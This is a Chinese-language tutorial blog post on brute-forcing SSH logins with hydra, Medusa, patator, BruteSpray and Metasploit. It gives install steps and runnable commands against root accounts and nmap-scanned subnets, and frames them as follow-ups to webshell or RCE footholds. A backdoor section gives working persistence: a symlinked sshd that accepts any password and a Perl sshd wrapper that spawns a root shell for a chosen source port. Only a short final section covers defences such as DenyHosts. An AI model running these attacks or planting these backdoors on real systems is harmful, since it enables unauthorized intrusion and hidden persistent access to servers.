您現在的位置是:首頁 > 網路遊戲首頁網路遊戲

網路攻防實戰-密碼安全與破解

簡介txt圖9使用patator破解多使用者的密碼1.1.5使用BrutesPray暴力破解SSH密碼BruteSpray是一款基於nmap掃描輸出的gnmapXML檔案,自動呼叫Medusa對服務進行爆破(Medusa美杜莎是一款埠爆破工具

密碼破解安全防禦措施包括什麼

對於Linux作業系統來說,一般透過VNC、Teamviewer和SSH等工具來進行遠端管理,SSH是 Secure Shell的縮寫,由IETF的網路小組(Network Working Group)所制定;SSH 為建立在應用層基礎上的安全協議。SSH 是目前較可靠,專為遠端登入會話和其他網路服務提供安全性的協議。利用SSH協議可以有效防止遠端管理過程中的資訊洩露問題。SSH客戶端適用於多種平臺,幾乎所有UNIX平臺—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平臺都可執行SSH。Kali Linux滲透測試平臺預設配置SSH服務。SSH進行伺服器遠端管理,僅僅需要知道伺服器的IP地址、埠、管理賬號和密碼,即可進行伺服器的管理,網路安全遵循木桶原理,只要透過SSH撕開一個口子,對滲透人員來時這將是一個新的世界。本文對目前流行的ssh密碼暴力破解工具進行實戰研究、分析和總結,對滲透攻擊測試和安全防禦具有一定的參考價值。

1.1.1SSH密碼暴力破解應用場景和思路

1。應用場景

(1)透過Structs等遠端命令執行獲取了root許可權。

(2)透過webshell提權獲取了root許可權

(3)透過本地檔案包含漏洞,可以讀取linux本地所有檔案。

(4)獲取了網路入口許可權,可以對內網計算機進行訪問。

(5)外網開啟了SSH埠(預設或者修改了埠),可以進行SSH訪問。

在前面的這些場景中,可以獲取shadow檔案,對其進行暴力破解,以獲取這些賬號的密碼,但在另外的一些場景中,無任何漏洞可用,這個時候就需要對SSH賬號進行暴力破解。

2。思路

(1)對root賬號進行暴力破解

(2)使用中國姓名top1000作為使用者名稱進行暴力破解

(3)使用top 10000 password字典進行密碼破解

(4)利用掌握資訊進行社工資訊整理並生成字典暴力破解

(5)資訊的綜合利用以及迴圈利用

1.1.2使用hydra暴力破解SSH密碼

hydra是世界頂級密碼

暴力密碼破解工具,支援幾乎所有協議的線上密碼破解,功能強大,其密碼能否被破解關鍵取決於破解字典是否足夠強大。在網路安全滲透過程中是一款必備的測試工具,配合社工庫進行社會工程學攻擊,有時會獲得意想不到的效果。

1。簡介

hydra是著名駭客組織thc的一款開源的暴力密碼破解工具,可以線上破解多種密碼,目前已經被Backtrack和kali等滲透平臺收錄,除了命令列下的hydra外,還提供了hydragtk版本(有圖形介面的hydra),官網網站:http://www。thc。org/thc-hydra,目前最新版本為v8。7下載地址:

http://www。thc。org/releases/hydra-8。7。tar。gz

(官方網站目前訪問不了,所有軟體資源會在試讀文章中提供),它可支援AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, uHTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET,HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等型別密碼。

2。安裝

(1)Debian和Ubuntu安裝

如果是Debian和Ubuntu發行版,源裡自帶hydra,直接用apt-get線上安裝:

sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2。0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2。1-dev libncp-dev hydra

Redhat/Fedora發行版的下載原始碼包編譯安裝,先安裝相關依賴包:

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel

(2)centos安裝

# tar zxvf hydra-8。7-src。tar。gz

# cd hydra-8。7-src

# 。/configure

# make

# make install

3。使用hydra

BT5和kali都預設安裝了hydra,在kali中單擊“kali Linux”-“Password Attacks”-“Online Attacks”-“hydra”即可開啟hydra。在centos終端中輸入命令/usr/local/bin/hydra即可開啟該暴力破解工具,除此之外還可以透過hydra-wizard。sh命令進行嚮導式設定進行密碼破解,如圖1所示。

網路攻防實戰-密碼安全與破解

圖1使用hydra-wizard。sh進行密碼破解

如果不安裝libssh,執行hydra破解賬號時會出現錯誤,顯示錯誤提示資訊:[ERROR] Compiled without LIBSSH v0。4。x support, module is not available! 在centos下依次執行以下命令即可解決:

yum install cmake

wget http://www。libssh。org/files/0。4/libssh-0。4。8。tar。gz

tar zxf libssh-0。4。8。tar。gz

cd libssh-0。4。8

mkdir build

cd build

cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON 。。

make

make install

網路攻防實戰-密碼安全與破解

cd /test/ssh/hydra-8。7 (此為下載hydar解壓的目錄)

make clean

。/configure

make

make install

4、hydra引數詳細說明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

-l LOGIN 指定破解的使用者名稱稱,對特定使用者破解。

-L FILE 從檔案中載入使用者名稱進行破解。

-p PASS小寫p指定密碼破解,少用,一般是採用密碼字典。

-P FILE 大寫字母P,指定密碼字典。

-e ns 可選選項,n:空密碼試探,s:使用指定使用者和密碼試探。

-C FILE 使用冒號分割格式,例如“登入名:密碼”來代替-L/-P引數。

-t TASKS 同時執行的連線的執行緒數,每一臺主機預設為16。

-M FILE 指定伺服器目標列表檔案一行一條

-w TIME 設定最大超時的時間,單位秒,預設是30s。

-o FILE 指定結果輸出檔案。

-f 在使用-M引數以後,找到第一對登入名或者密碼的時候中止破解。

-v / -V 顯示詳細過程。

-R 繼續從上一次進度接著破解。

-S 採用SSL連結。

-s PORT 可透過這個引數指定非預設埠。

-U 服務模組使用細節

-h 更多的命令列選項(完整的幫助)

server 目標伺服器名稱或者IP(使用這個或-M選項)

service 指定服務名,支援的服務和協議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

OPT 一些服務模組支援額外的輸入(-U用於模組的幫助)

4。破解SSH賬號

破解SSH賬號有兩種方式,一種是指定賬號破解,一種是指定使用者列表破解。詳細命令如下:

(1)hydra -l 使用者名稱 -p 密碼字典 -t 執行緒 -vV -e ns ip ssh

例如輸入命令“hydra -l root -P password。txt -t 1 -vV -e ns 192。168。106。133 ssh”對IP地址為“192。168。106。133”的root賬號密碼進行破解,如圖3所示,破解成功後顯示其詳細資訊。

“hydra -l root -P pass。txt -t 1 -vV -e ns -o save。log 192。168。106。133 ssh ”將掃描結果儲存在save。log檔案中,開啟該檔案可以看到成功破解的結果,如圖4所示。

網路攻防實戰-密碼安全與破解

圖3破解SSH賬號

網路攻防實戰-密碼安全與破解

圖4檢視破解日誌

1.1.3使用Medusa暴力破解SSH密碼

1。 Medusa簡介

Medusa(美杜莎)是一個速度快,支援大規模並行,模組化,爆破登入。可以同時對多個主機,使用者或密碼執行強力測試。Medusa和hydra一樣,同樣屬於線上密碼破解工具。不同的是,medusa 的穩定性相較於hydra 要好很多,但其支援模組要比 hydra 少一些。 Medusa是支援AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),

NNTP, PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT, SMTP

(AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表單的密碼爆破工具,官方網站:http://foofus。net/goons/jmk/medusa/medusa。html。目前最新版本2。2,美中不足的是軟體從2015年後未進行更新,kali預設自帶該軟體,軟體下載地址:

https://github。com/jmk-foofus/medusa

https://github。com/jmk-foofus/medusa/archive/2。2。tar。gz

2。安裝medusa

(1)git克隆安裝

git clone https://github。com/jmk-foofus/medusa。git

(2)手動編譯和安裝medusa

。/configure

make

make install

安裝完成後,會將medusa的一些modules 檔案複製到/usr/local/lib/medusa/modules資料夾。

3。Medusa引數

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

-h [TEXT] 目標主機名稱或者IP地址

-H [FILE] 包含目標主機名稱或者IP地址檔案

-u [TEXT] 測試的使用者名稱

-U [FILE] 包含測試的使用者名稱檔案

-p [TEXT] 測試的密碼

-P [FILE] 包含測試的密碼檔案

-C [FILE] 組合條目檔案

-O [FILE] 日誌資訊檔案

-e [n/s/ns] n代表空密碼,s代表為密碼與使用者名稱相同

-M [TEXT] 模組執行名稱

-m [TEXT] 傳遞引數到模組

-d 顯示所有的模組名稱

-n [NUM] 使用非預設Tcp埠

-s 啟用SSL

-r [NUM] 重試間隔時間,預設為3秒

-t [NUM] 設定執行緒數量

-T 同時測試的主機總數

-L 並行化,每個使用者使用一個執行緒

-f 在任何主機上找到第一個賬號/密碼後,停止破解

-F 在任何主機上找到第一個有效的使用者名稱/密碼後停止審計。

-q 顯示模組的使用資訊

-v [NUM] 詳細級別(0-6)

-w [NUM] 錯誤除錯級別(0-10)

-V 顯示版本

-Z [TEXT] 繼續掃描上一次

4。破解單一伺服器SSH密碼

(1)透過檔案來指定host和user,host。txt為目標主機名稱或者IP地址,user。txt指定需要暴力破解的使用者名稱,密碼指定為password

。/medusa -M ssh -H host。txt -U users。txt -p password

(2)對單一伺服器進行密碼字典暴力破解

如圖5所示,破解成功後會顯示success字樣,具體命令如下:

medusa -M ssh -h 192。168。157。131 -u root -P newpass。txt

網路攻防實戰-密碼安全與破解

圖5破解SSH口令成功

如果使用Cltrl+Z結束了破解過程,則還可以根據螢幕提示,在後面繼續恢復破解,在上例中恢復破解,只需要在命令末尾增加“-Z h1u1。”即可。也即其命令為:

medusa -M ssh -h 192。168。157。131 -u root -P newpass。txt -Z h1u1。

5。破解某個IP地址主機破解成功後立刻停止,並測試空密碼以及與使用者名稱一樣的密碼

medusa -M ssh -h 192。168。157。131 -u root -P /root/newpass。txt -e ns -F

執行效果如圖6所示,透過命令檢視字典檔案newpass。txt,可以看到root密碼位於第8行,而在破解結果中顯示第一行就破解成功了,說明先執行了“-e ns”引數命令,對空密碼和使用使用者名稱作為密碼來進行破解。

網路攻防實戰-密碼安全與破解

圖6使用空密碼和使用者名稱作為密碼進行破解

技巧:加-O ssh。log 可以將成功破解的記錄記錄到ssh。log檔案中。

1.1.4使用patator暴力破解SSH密碼

1。下載並安裝patator

git clone

https://github。com/lanjelot/patator。git

cd patator

python setup。py install

2。使用引數

執行。/patator。py即可獲取詳細的幫助資訊

Patator v0。7 (https://github。com/lanjelot/patator)

Usage: patator。py module ——help

可用模組:

+ ftp_login : 暴力破解FTP

+ ssh_login : 暴力破解 SSH

+ telnet_login : 暴力破解 Telnet

+ smtp_login : 暴力破解 SMTP

+ smtp_vrfy : 使用SMTP VRFY進行列舉

+ smtp_rcpt : 使用 SMTP RCPT TO列舉合法使用者

+ finger_lookup : 使用Finger列舉合法使用者

+ http_fuzz : 暴力破解 HTTP

+ ajp_fuzz : 暴力破解 AJP

+ pop_login : 暴力破解 POP3

+ pop_passd : 暴力破解 poppassd (http://netwinsite。com/poppassd/)

+ imap_login : 暴力破解 IMAP4

+ ldap_login : 暴力破解 LDAP

+ smb_login : 暴力破解 SMB

+ smb_lookupsid : 暴力破解 SMB SID-lookup

+ rlogin_login : 暴力破解 rlogin

+ vmauthd_login : 暴力破解 VMware Authentication Daemon

+ mssql_login : 暴力破解 MSSQL

+ oracle_login : 暴力破解 Oracle

+ mysql_login : 暴力破解 MySQL

+ mysql_query : 暴力破解 MySQL queries

+ rdp_login : 暴力破解 RDP (NLA)

+ pgsql_login : 暴力破解 PostgreSQL

+ vnc_login : 暴力破解 VNC

+ dns_forward : 正向DNS 查詢

+ dns_reverse : 反向 DNS 查詢

+ snmp_login : 暴力破解 SNMP v1/2/3

+ ike_enum : 列舉 IKE 傳輸

+ unzip_pass : 暴力破解 ZIP加密檔案

+ keystore_pass : 暴力破解Java keystore files的密碼

+ sqlcipher_pass : 暴力破解 加密資料庫SQL Cipher的密碼-

+ umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes

+ tcp_fuzz : Fuzz TCP services

+ dummy_test : 測試模組

3。實戰破解

(1)檢視詳細幫助資訊

執行“。/patator。py ssh_login –help“命令後即可獲取其引數的詳細使用資訊,如圖7所示,在ssh暴力破解模組ssh_login中需要設定host,port,user,password等引數。

網路攻防實戰-密碼安全與破解

圖7檢視幫助資訊

(2)執行單一使用者密碼破解

對主機192。168。157。131,使用者root,密碼檔案為/root/newpass。txt進行破解,如圖8所示,破解成功後會顯示SSH登入標識“SSH-2。0-OpenSSH_7。5p1 Debian-10“,破解不成功會顯示” Authentication failed。 “提示資訊,其破解時間為2秒,速度很快!

。/patator。py ssh_login host=192。168。157。131 user=root password=FILE0 0=/root/newpass。txt

網路攻防實戰-密碼安全與破解

圖8破解單一使用者密碼

(3)破解多個使用者。使用者檔案為/root/user。txt,密碼檔案為/root/newpass。txt,破解效果如圖9所示。

。/patator。py ssh_login host=192。168。157。131 user=FILE1 1=/root/user。txt password=FILE0 0=/root/newpass。txt

網路攻防實戰-密碼安全與破解

圖9使用patator破解多使用者的密碼

1.1.5使用BrutesPray暴力破解SSH密碼

BruteSpray是一款基於nmap掃描輸出的gnmap/XML檔案,自動呼叫Medusa對服務進行爆破(Medusa美杜莎是一款埠爆破工具,在前面的文章中對其進行了介紹),聲稱速度比hydra快,其官方專案地址:https://github。com/x90skysn3k/brutespray。BruteSpray呼叫medusa,其說明中聲稱支援ssh、ftp、telnet、vnc、mssql、mysql、postgresql、rsh、imap、nntp、pcanywhere、pop3、rexec、rlogin、smbnt、smtp、svn和vmauthd協議賬號暴力破解。

1。安裝及下載

(1)普通下載地址

https://codeload。github。com/x90skysn3k/brutespray/zip/master

(2)kali下安裝

BruteSpray預設沒有整合到kali Linux中,需要手動安裝,有的需要先在kali中執行更新,apt-get update 後才能執行安裝命令:

apt-get install brutespray

kali Linux預設安裝其使用者和密碼字典檔案位置:/usr/share/brutespray/wordlist。

(3)手動安裝

git clone https://github。com/x90skysn3k/brutespray。git

cd brutespray

pip install -r requirements。txt

注意如果在其它環境安裝需要安裝medusa,否則會執行報錯。

2。BrutesPray使用引數

用法: brutespray。py [-h] -f FILE [-o OUTPUT] [-s SERVICE] [-t THREADS] [-T HOSTS] [-U USERLIST] [-P PASSLIST] [-u USERNAME] [-p PASSWORD] [-c] [-i]

用法: python brutespray。py <選項>

選項引數:

-h, ——help 顯示幫助資訊並退出

選單選項:

-f FILE, ——file FILE 引數後跟一個檔名, 解析nmap輸出的GNMAP或者XML檔案

-o OUTPUT, ——output OUTPUT 包含成功嘗試的目錄

-s SERVICE, ——service SERVICE 引數後跟一個服務名, 指定要攻擊的服務

-t THREADS, ——threads THREADS 引數後跟一數值,指定medusa執行緒數

-T HOSTS, ——hosts HOSTS 引數後跟一數值,指定同時測試的主機數

-U USERLIST, ——userlist USERLIST 引數後跟使用者字典檔案

-P PASSLIST, ——passlist PASSLIST 引數後跟密碼字典檔案

-u USERNAME, ——username USERNAME 引數後跟使用者名稱,指定一個使用者名稱進行爆破

-p PASSWORD, ——password PASSWORD 引數後跟密碼,指定一個密碼進行爆破

-c, ——continuous 成功之後繼續爆破

-i, ——interactive 互動模式

4。使用nmap進行埠掃描

(1)掃描整個內網C段

nmap -v 192。168。17。0/24 -oX nmap。xml

(2)掃描開放22埠的主機

nmap -A -p 22 -v 192。168。17。0/24 -oX 22。xml

(3)掃描存活主機

nmap –sP 192。168。17。0/24 -oX nmaplive。xml

(4)掃描應用程式以及版本號

nmap -sV –O 192。168。17。0/24 -oX nmap。xml

5。暴力破解SSH密碼

(1)互動模式破解

python brutespray。py ——file nmap。xml –i

執行後,程式會自動識別nmap掃描結果中的服務,根據提示選擇需要破解的服務,執行緒數、同時暴力破解的主機數,指定使用者和密碼檔案,如圖10所示。Brutespray破解成功後在螢幕上會顯示“SUCCESS”資訊。

網路攻防實戰-密碼安全與破解

圖10互動模式破解密碼

(2)透過指定字典檔案爆破SSH

python brutespray。py ——file 22。xml -U /usr/share/brutespray/wordlist/ssh/user -P /usr/share/brutespray/wordlist/ssh/password ——threads 5 ——hosts 5

注意:

brutespray新版本的wordlist地址為/usr/share/brutespray/wordlist,其下包含了多個協議的使用者名稱和密碼,可以到該目錄完善這些使用者檔案和密碼檔案。22。xml為nmap掃描22埠生成的檔案。

(3)暴力破解指定的服務

python brutespray。py ——file nmap。xml ——service ftp,ssh,telnet ——threads 5 ——hosts 5

(4)指定使用者名稱和密碼進行暴力破解

當在內網已經獲取了一個密碼後,可以用來驗證nmap掃描中的開放22埠的伺服器,如圖11所示,對192。168。17。144和192。168。17。147進行root密碼暴力破解,192。168。17。144密碼成功破解。

python brutespray。py ——file 22。xml -u root -p toor ——threads 5 ——hosts 5

。/brutespray。py -f 22。xml -u root -p toor ——threads 5 ——hosts 5

網路攻防實戰-密碼安全與破解

圖11 對已知口令進行密碼破解

(5)破解成功後繼續暴力破解

python brutespray。py ——file nmap。xml ——threads 5 ——hosts 5 –c

前面的命令是預設破解成功一個帳號後,就不再繼續暴力破解了,此命令是對所有賬號進行暴力破解,其時間稍長。

(6)使用Nmap掃描生成的nmap。xml進行暴力破解

python brutespray。py ——file nmap。xml ——threads 5 ——hosts 5

6。檢視破解結果

Brutespray這一點做的非常好,預設會在程式目錄/brutespray-output/目錄下生成ssh-success。txt檔案,使用cat ssh-success。txt命令即可檢視破解成功的結果,如圖12所示。

網路攻防實戰-密碼安全與破解

圖12檢視破解成功的記錄檔案

也可以透過命令搜尋ssh-success 檔案的具體位置:find / -name ssh-success。txt

7。登入破解伺服器

使用ssh user@host命令登入host伺服器。例如登入192。168。17。144:

ssh

root@192。168。17。144

輸入密碼即可正常登入伺服器192。168。17。144。

1.1.6Msf下利用ssh_login模組進行暴力破解

1。msf下有關SSH相關模組

在kali中執行“msfconsole”-“search ssh”後會獲取相關所有ssh模組,如圖13所示。

網路攻防實戰-密碼安全與破解

圖13 msf下所有SSH漏洞以及相關利用模組

2。SSH相關功能模組分析

(1)SSH使用者列舉

此模組使用基於時間的攻擊列舉使用者OpenSSH伺服器。在一些OpenSSH的一些版本

配置,OpenSSH會返回一個“沒有許可權”無效使用者的錯誤比有效使用者快。使用命令如下:

use auxiliary/scanner/ssh/ssh_enumusers

set rhost 191。168。17。147

set USER_FILE /root/user

run

使用info命令可以檢視該模組的所有資訊,執行效果如圖14所示,實測該功能有一些限制,僅僅對OpenSSH某些版本效果比較好。

網路攻防實戰-密碼安全與破解

圖14 openssh使用者列舉

(2)SSH版本掃描

檢視遠端主機的SSH伺服器版本資訊,命令如下:

use auxiliary/scanner/ssh/ssh_version

set rhosts 192。168。157。147

run

執行效果如圖15所示,分別對centos伺服器地址192。168。157。147和kali linux 地址192。168。157。144進行掃描,可以看出一個是SSH-2。0-OpenSSH_5。8p1 Debian-1ubuntu3,另外一個是SSH-2。0-OpenSSH_7。5p1 Debian-10,看到第一個版本,第一時間就可以想到如果拿到許可權可以安裝ssh後門。

網路攻防實戰-密碼安全與破解

圖15掃描ssh版本資訊

(3)SSH暴力破解

ssh暴力破解模組“auxiliary/scanner/ssh/ssh_login”可以對單機進行單使用者,單密碼進行掃描破解,也可以使用密碼字典和使用者字典進行破解,按照提示進行設定即可。下面使用使用者名稱字典以及密碼字典進行暴力破解:

use auxiliary/scanner/ssh/ssh_login

set rhosts 192。168。17。147

set PASS_FILE /root/pass。txt

set USER_FILE /root/user。txt

run

如圖16所示,對IP地址192。168。17。147進行暴力破解,成功獲取root賬號密碼,網上有人寫文章說可以直接獲取shell,實際測試並否如此,透過sessions -l可以看到msf確實建立會話,但切換(sessions -i 1)到會話一直沒有反應。

網路攻防實戰-密碼安全與破解

圖16使用msf暴力破解ssh密碼

1.1.7ssh後門

1。 軟連線後門

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=33223;

經典後門使用ssh root@x。x。x。x -p 33223直接對sshd建立軟連線,之後用任意密碼登入即可。

但這隱蔽性很弱,一般的rookit hunter這類的防護指令碼可掃描到。

2。SSH Server wrapper後門

(1)複製sshd到bin目錄

cd /usr/sbin

mv sshd 。。/bin

(2)編輯sshd

vi sshd //加入以下內容並儲存

#!/usr/bin/perl

exec“/bin/sh”if(getpeername(STDIN)=~/^。。LF/);

exec{“/usr/bin/sshd”}“/usr/sbin/sshd”,@ARGV;

(4)修改許可權

chmod 755 sshd

(5)使用socat

socat STDIO TCP4:target_ip:22,sourceport=19526

如果沒有安裝socat需要進行安裝並編譯

wget http://www。dest-unreach。org/socat/download/socat-1。7。3。2。tar。gz

tar -zxvf socat-1。7。3。2。tar。gz

cd socat-1。7。3。2

。/configure

make

make install

(6)使用ssh root@ target_ip即可免密碼登入

3。ssh公鑰免密

將本地計算機生成公私鑰,將公鑰檔案複製到需要連線的伺服器上的~/。ssh/authorized_keys檔案,並設定相應的許可權,即可免密碼登入伺服器。

chmod 600 ~/。ssh/authorized_keys

chmod 700 ~/。ssh

1.1.8ssh暴力破解命令總結及分析

1。所有工具的比較

透過對hydra、medusa、patator、brutepray以及msf下的ssh暴力破解測試,總結如下:

(1)每款軟體都能成功對ssh賬號以及密碼進行破解。

(2)patator和brutepray是透過python語言編寫,但brutepray需要medusa配合支援。

(3)hydra和medusa是基於C語言編寫的,需要進行編譯。

(4)brutepray基於nmap掃描結果來進行暴力破解,在對內網掃描後進行暴力破解效果好。

(5)patator基於python,速度快,相容性好,可以在windows或者linux下稍作配置即可使用。

(6)如果具備kali條件或者PentestBox下,使用msf進行ssh暴力破解也不錯。

(7)brutepray會自動生成破解成功日誌檔案/brutespray-output/ssh-success。txt;hydra加引數“-o save。log”記錄破解成功到日誌檔案save。log,medusa加“-O ssh。log”引數可以將成功破解的記錄記錄到ssh。log檔案中;patator可以加引數“-x ignore:mesg=‘Authentication failed。’”來忽略破解失敗的嘗試,而僅僅顯示成功的破解。

2。命令總結

(1)hydra破解ssh密碼

hydra -l root -P pwd2。dic -t 1 -vV -e ns 192。168。44。139 ssh

hydra -l root -P pwd2。dic -t 1 -vV -e ns -o save。log 192。168。44。139 ssh

(2)medusa破解ssh密碼

medusa -M ssh -h 192。168。157。131 -u root -P newpass。txt

medusa -M ssh -h 192。168。157。131 -u root -P /root/newpass。txt -e ns –F

(3)patator破解ssh密碼

。/patator。py ssh_login host=192。168。157。131 user=root password=FILE0 0=/root/newpass。txt -x ignore:mesg=‘Authentication failed。’

。/patator。py ssh_login host=192。168。157。131 user=FILE1 1=/root/user。txt password=FILE0 0=/root/newpass。txt -x ignore:mesg=‘Authentication failed。’

如果不是本地安裝,則使用patator執行即可。

(4)brutespray暴力破解ssh密碼

nmap -A -p 22 -v 192。168。17。0/24 -oX 22。xml

python brutespray。py ——file 22。xml -u root -p toor ——threads 5 ——hosts 5

(5)msf暴力破解ssh密碼

use auxiliary/scanner/ssh/ssh_login

set rhosts 192。168。17。147

set PASS_FILE /root/pass。txt

set USER_FILE /root/user。txt

run

1.1.9 SSH暴力破解安全防範

1。修改/etc/ssh/sshd_config預設埠為其它埠。例如設定埠為2232,則port=2232

2。在/etc/hosts。allow中設定允許的IP訪問,例如sshd:192。168。17。144:allow

3。使用DenyHosts軟體來設定,其下載地址:

https://sourceforge。net/projects/denyhosts/files/denyhosts/2。6/DenyHosts-2。6。tar。gz/download

(1)安裝cd DenyHosts

# tar -zxvf DenyHosts-2。6。tar。gz

# cd DenyHosts-2。6

# python setup。py install

預設是安裝到/usr/share/denyhosts目錄的。

(2)配置cd DenyHosts

# cd /usr/share/denyhosts/

# cp denyhosts。cfg-dist denyhosts。cfg

# vi denyhosts。cfg

PURGE_DENY = 50m #過多久後清除已阻止IP

HOSTS_DENY = /etc/hosts。deny #將阻止IP寫入到hosts。deny

BLOCK_SERVICE = sshd #阻止服務名

DENY_THRESHOLD_INVALID = 1 #允許無效使用者登入失敗的次數

DENY_THRESHOLD_VALID = 10 #允許普通使用者登入失敗的次數

DENY_THRESHOLD_ROOT = 5 #允許root登入失敗的次數

WORK_DIR = /usr/local/share/denyhosts/data #將deny的host或ip紀錄到Work_dir中

DENY_THRESHOLD_RESTRICTED = 1 #設定 deny host 寫入到該資料夾

LOCK_FILE = /var/lock/subsys/denyhosts #將DenyHOts啟動的pid紀錄到LOCK_FILE中,已確保服務正確啟動,防止同時啟動多個服務。

HOSTNAME_LOOKUP=NO #是否做域名反解

ADMIN_EMAIL = #設定管理員郵件地址

DAEMON_LOG = /var/log/denyhosts #自己的日誌檔案

DAEMON_PURGE = 10m #該項與PURGE_DENY 設定成一樣,也是清除hosts。deniedssh 使用者的時間。

(3)設定啟動指令碼

# cp daemon-control-dist daemon-control

# chown root daemon-control

# chmod 700 daemon-control

完了之後執行daemon-contron start就可以了。

# 。/daemon-control start

如果要使DenyHosts每次重起後自動啟動還需做如下設定:

# ln -s /usr/share/denyhosts/daemon-control /etc/init。d/denyhosts

# chkconfig ——add denyhosts

# chkconfig denyhosts on

# service denyhosts start

可以看看/etc/hosts。deny內是否有禁止的IP,有的話說明已經成功了。

Top